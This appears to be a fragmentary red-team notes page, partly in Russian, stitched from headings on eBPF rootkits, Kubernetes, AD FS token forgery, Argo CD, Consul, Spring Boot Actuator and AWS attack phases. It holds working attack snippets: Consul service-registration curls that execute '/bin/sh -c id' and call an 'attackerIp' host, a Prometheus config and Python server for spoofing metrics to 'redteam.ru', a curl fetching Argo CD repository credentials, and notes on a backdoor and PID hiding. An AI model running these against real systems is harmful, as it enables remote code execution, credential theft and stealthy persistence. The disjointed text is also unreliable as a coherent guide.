* What is eBPF?
* Lifetime of an eBPF program
* kprobes, uprobes, and tracepoints
* eXpress Data Path (XDP)
* Traffic Control (TC)
* Prevention
* Detection

* Бекдор через отправку парольной фразы в tcp пакете

* Сокрытие pid'а процесса (этот функционал взят из bad-bpf, но загрузчик переписан на Go)

* Persistence
* Resources hiding
* Bypassing AdmissionControllers

* Read files
* Write files
* Create symbolic links
* C2 server communication

#If u have proto
grpcui -proto service.proto -plaintext grpc-address:50051

#If service have reflection
grpcui -plaintext grpc-address:50051

* Testing via burp
* Using sqlmap & the like
* Supports proxying via proxychains

* Introduction to eBPF
* How are eBPF programs built and loaded?
* Reversing eBPF rootkit

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

global:
  scrape_interval: 10s

scrape_configs:
  - job_name: 'redteam'
    metrics_path: /metrics
    static_configs:
      - targets: ['redteam.ru:9100'] # target, который мы хотим подделать

remote_write:
  - url: "http://host:8429/api/v1/write" # сервис, принимающий метрики, например vmagent

import http.server
import socketserver

PORT = 9100
METRICS = """
# HELP cpu_usage Test metric
# TYPE cpu_usage gauge
cpu_usage{job="redteam"} 0.64
""".encode('utf-8')

class MetricsHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/metrics':
            self.send_response(200)
            self.send_header("Content-type", "text/plain; version=0.0.4; charset=utf-8")
            self.end_headers()
            self.wfile.write(METRICS)
        else:
            self.send_response(404)
            self.end_headers()

with socketserver.TCPServer(("", PORT), MetricsHandler) as httpd:
    print("serving metrics at port", PORT)
    httpd.serve_forever()

* ADFSDump - Dump decryption private keys and other sorts of goodies from AD FS

* ADFSpoof - A python tool to forge AD FS security tokens

{
    "status": "success",
        "data": {
            "web.enable-admin-api": "true",
            "web.enable-lifecycle": "false",
        }
}

__meta_gce_metadata_ssh_keys
__meta_gce_metadata_startup_noscript
__meta_gce_metadata_kube_env
_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration

* Use of Risky or Missing Cryptographic Algorithms in Redis Cache (Summary & PoC)
* Redis or Not – Revealing a Critical Vulnerability in Argo CD Kubernetes Controller

Argo CD's Project API Token Exposes Repository Credentials

curl -sH "Authorization: Bearer $ARGOCD_API_TOKEN" \
  "https://argocd.example.com/api/v1/projects/myProject/detailed"

* Six Critical Blindspots While Securing Argo CD
* Securing Multi-Cluster ArgoCD
* Securing Continuous Delivery: Argo CD Threat Detection

curl -X PUT -H "Content-Type: application/json" -d '{
  "ID": "testservice",
  "Name": "testservice",
  "Address": "127.0.0.1",
  "Port": 80,
  "check": {
    "HTTP": "http://attackerIp:attackerPort",
    "interval": "10s"
  }
}' http://consul-host:8500/v1/agent/service/register

curl -X PUT -H "Content-Type: application/json" -d '{
  "ID": "testservice",
  "Name": "testservice",
  "Address": "127.0.0.1",
  "Port": 80,
  "check": {
    "Args": ["/bin/sh", "-c", "id"],
    "interval": "10s"
  }
}' http://consul-host:8500/v1/agent/service/register

curl http://consul-host:8500/v1/agent/checks | jq

curl http://consul-host:8500/v1/agent/service/deregister/testservice -X PUT

* What makes Spring Boot Actuator a treasure trove for attackers?

* Common Misconfigurations in Spring Boot Actuator
#1 Exposed HeapDump file
#2 Exposed Actuator Gateway Endpoint leading to RCE
#3 Exposed env endpoint

* How Can Organizations Defend Themselves?

* /actuator - List of all available actuator endpoints

* /actuator/mappings - All URL mappings controllers and handlers), request → method mappings

* /actuator/beans - Shows registered Spring beans

* /actuator/configprops - Values and sources ConfigurationProperties

* /actuator/heapdump - Exposed HeapDump file

* /actuator/env - Expose details about the runtime environment

* /actuator/httptrace - Leakage of payload structures, internal URLs, possible query data

* /actuator/loggers - Shows current logging levels and (if enabled) allows you to change logger levels at runtime

* /actuator/gateway/routes - Ssrf, can lead to rce (cve-2022-22947)

* Reconnaissance - Things to do with pre-compromise information gathering.

* Exploitation - Things that will help you gain a foothold in an account.

* Stealth - Things that might help you stay hidden after compromising an account.

* Exploration - Things to help you understand what you've pwned.

* Elevation - Things to help you move around an account and gather different levels of access.

* Persistence - Things to help maintain your access to an acccount.

* Exfiltration - Things to help you extract and move data around in AWSy ways.